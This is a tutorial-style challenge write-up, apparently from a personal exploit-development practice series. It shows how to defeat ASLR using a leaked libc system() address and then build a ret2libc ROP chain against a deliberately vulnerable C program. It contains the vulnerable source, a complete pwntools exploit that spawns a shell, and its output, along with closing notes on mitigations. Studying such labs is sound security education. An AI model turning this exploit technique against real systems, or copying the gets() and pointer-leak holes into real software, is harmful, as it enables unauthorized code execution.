ASLR Bypass with Libc Leak: Breaking Address Randomization
Challenge 8: ret2libc ROP Attack (with ASLR) w/ info leak (8_simple.c
)
Source Code:
#include <stdio.h>
#include <stdlib.h>
void vuln() {
char buffer[20];
printf("System is at: %p\n", system); // <- Information leak!
gets(buffer); // <- Buffer overflow vulnerability
}
int main() {
vuln();
return 0;
}
void pop_rdi_ret() {
asm("pop %rdi; ret"); // <- ROP gadget for setting function arguments
}
// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/8_simple src/8_simple.c
This demonstrates how to bypass ASLR (Address Space Layout Randomization) using a leaked libc function address to calculate the library base and build a ret2libc attack.
Binary Setup
gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/8_simple src/8_simple.c
Security Mitigations:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled <- Prevents shellcode execution
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
ASLR Status: Enabled (system default)
Key Vulnerabilities:
- Information Leak:
printf("System is at: %p\n", system)
leaks system function address - Buffer Overflow:
gets(buffer)
reads unlimited input into 20-byte buffer - No Stack Canaries:
-fno-stack-protector
allows return address overwrite
The ASLR Problem
What is ASLR?
ASLR (Address Space Layout Randomization) randomizes the base addresses of libraries and stack/heap regions to prevent attackers from knowing where code/data is located in memory.
# With ASLR enabled, libc addresses change every execution:
./bin/8_simple # System is at: 0x7f8a2c458750
./bin/8_simple # System is at: 0x7f3d1e258750 <- Different base!
./bin/8_simple # System is at: 0x7f9b4f858750 <- Different base!
Problem for Attackers: Without knowing exact addresses, we can't build ret2libc attacks.
ASLR Bypass Technique
Key Insight: While ASLR randomizes base addresses, the internal structure of libraries remains constant. Function offsets within libc are always the same.
Method:
- Leak a known function address (system in this case)
- Calculate libc base by subtracting the known offset
- Find any other libc function/string using base + offset
Address Discovery Process
Step 1: Analyze the Leak
ian@vps:~/pwn/pwnpractice$ ./bin/8_simple
System is at: 0x7ffff7c58750
Leaked system address: 0x7ffff7c58750
Step 2: Find system() Offset in libc
ian@vps:~/pwn/pwnpractice$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1050: 0000000000058750 45 FUNC WEAK DEFAULT 17 system@@GLIBC_2.2.5
system offset from libc base: 0x58750
Step 3: Calculate libc Base Address
system_leak = 0x7ffff7c58750 # Address leaked by program
system_offset = 0x58750 # Offset of system in libc
libc_base = system_leak - system_offset
libc_base = 0x7ffff7c58750 - 0x58750 = 0x7ffff7c00000
Step 4: Calculate Target Addresses
# Now we can find any libc function/string:
libc_base = 0x7ffff7c00000
# Find "/bin/sh" string
binsh_offset = 0x1cb42f # From: strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
binsh_addr = libc_base + binsh_offset # = 0x7ffff7dcb42f
# system() address (we already know this)
system_addr = libc_base + 0x58750 # = 0x7ffff7c58750
Buffer Overflow Analysis
Finding the Offset
# Using pwntools cyclic pattern
python3 -c "from pwn import *; print(cyclic(100))" | ./bin/8_simple
# Check crash with gdb to find offset: 40 bytes
Buffer Layout:
[buffer: 20 bytes][padding: 20 bytes][saved RBP: 8 bytes][return addr: 8 bytes]
Total offset to return address: 40 bytes
Python Exploit Breakdown
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF('/home/ian/pwn/pwnpractice/bin/8_simple')
libc = exe.libc
io = start()
# Step 1: Receive the leaked system address
io.recvuntil('at: ')
system_leak = int(io.recvline().strip(), 16)
log.info(f'Leaked system: {hex(system_leak)}')
# Step 2: Calculate libc base address
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
# Step 3: Find ROP gadgets and addresses
pop_rdi = p64(0x4011b5) # pop rdi; ret (from binary)
ret = p64(0x40101a) # ret (for stack alignment)
binsh_addr = next(libc.search(b'/bin/sh')) # "/bin/sh" string in libc
system_addr = libc.sym['system'] # system() function in libc
# Step 4: Build ROP chain
payload = flat(
'A' * 40, # Padding to reach return address
pop_rdi, # ROP gadget: pop rdi; ret
binsh_addr, # Argument: address of "/bin/sh"
ret, # Stack alignment for system()
system_addr, # Call system()
0x0 # Return address for system()
)
io.sendline(payload)
io.interactive()
ROP Chain Execution Flow
Stack Layout After Overflow:
[Buffer: AAAA...AAAA] (40 bytes padding)
[pop_rdi gadget ] <- Return address
[/bin/sh address ] <- Will be popped into RDI
[ret gadget ] <- Stack alignment
[system() address ] <- Final call target
[0x0000000000000000 ] <- Return address for system
Execution Steps:
- Buffer overflow overwrites return address with
pop_rdi
gadget address - pop rdi; ret pops
/bin/sh
address into RDI register and returns - ret gadget provides stack alignment (required by modern libc)
- system() executes with RDI pointing to "/bin/sh" string
- Shell spawned!
Successful Exploitation
ian@vps:~/pwn/pwnpractice$ python3 solves/8_simple.py
[*] '/home/ian/pwn/pwnpractice/bin/8_simple'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] Received 0x13 bytes:
'System is at: 0x7ffff7c58750\n'
[*] Leaked system: 0x7ffff7c58750
[+] LIBC base: 0x7ffff7c00000
$ whoami
ian
$ id
uid=1000(ian) gid=1000(ian) groups=1000(ian)
Why This Attack Works
ASLR Bypass Components
- Information Leak: Program leaks system() address defeating randomization
- Offset Calculation: Fixed offsets within libc allow base calculation
- Address Resolution: Can now find any libc function/string reliably
Attack Chain Requirements
- Buffer Overflow: Control over return address via
gets()
vulnerability - ROP Gadgets:
pop rdi; ret
to set up function call arguments - libc Functions: system() function and "/bin/sh" string from calculated addresses
- Stack Alignment: Extra
ret
gadget for x64 calling convention
Real-World ASLR Bypass Techniques
Common Information Leaks:
- printf/puts: Format string vulnerabilities or legitimate output
- Stack/heap pointers: Leaked through buffer over-reads
- GOT entries: Global Offset Table contains function addresses
- PLT stubs: Procedure Linkage Table addresses
Alternative Bypass Methods:
- Partial overwrites: Overwrite only low bytes when entropy is limited
- Brute force: Feasible when ASLR entropy is low (32-bit systems)
- Memory disclosure: Read arbitrary memory to leak addresses
- Side-channel attacks: Timing attacks, cache attacks
Why This Exploit Works Remotely (Unlike Challenge 7)
The Critical Difference: Dynamic vs Static Addresses
Challenge 7 Problem (Hardcoded Addresses):
# Challenge 7 exploit - FAILS remotely
libc_base = 0x00007ffff7c00000 # Your local system's base
system = libc_base + 0x58750 # Your local system's offset
binsh = libc_base + 0x1cb42f # Your local system's offset
# Result: Segfault on different systems
Challenge 8 Solution (Dynamic Discovery):
# Challenge 8 exploit - WORKS remotely
io.recvuntil('at: ')
system_leak = int(io.recvline().strip(), 16) # Get REMOTE address
libc.address = system_leak - libc.sym['system'] # Calculate REMOTE base
# Result: Adapts to any system automatically
Demonstration: Remote vs Local Testing
Local System (Your Development Machine):
ian@local:~/pwn/pwnpractice$ ./bin/8_simple
System is at: 0x7ffff7c58750
# Challenge 8 exploit calculation:
system_leak = 0x7ffff7c58750
system_offset = 0x58750 # From your local libc
libc_base = 0x7ffff7c58750 - 0x58750 = 0x7ffff7c00000
Remote System (Different Machine/Docker/CTF Server):
victim@remote:~/pwn$ ./bin/8_simple
System is at: 0x7f8a2c455410 # Different address!
# Challenge 8 exploit adapts automatically:
system_leak = 0x7f8a2c455410 # Leaked from remote system
system_offset = 0x55410 # Different offset (different libc version)
libc_base = 0x7f8a2c455410 - 0x55410 = 0x7f8a2c400000
Security Implications
This vulnerability demonstrates:
- Information leaks are critical: Even a single leaked address can defeat ASLR
- Defense in depth: ASLR alone is insufficient - need multiple mitigations
- Consistent addressing: Predictable offsets within libraries aid exploitation
Why Challenge 8 is more realistic:
- Adapts to remote systems: Works regardless of ASLR randomization
- Demonstrates real technique: Information leaks are common attack vectors
- Version dependency: Still requires matching libc versions for offsets
Real-world mitigations:
- Remove information leaks: Never print raw pointer addresses
- Enable all mitigations: Stack canaries, PIE, FULL RELRO together
- Use modern compilers: Recent GCC/Clang have better defaults
- Provide libc files: In CTFs, include exact libc version to avoid version mismatches
Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.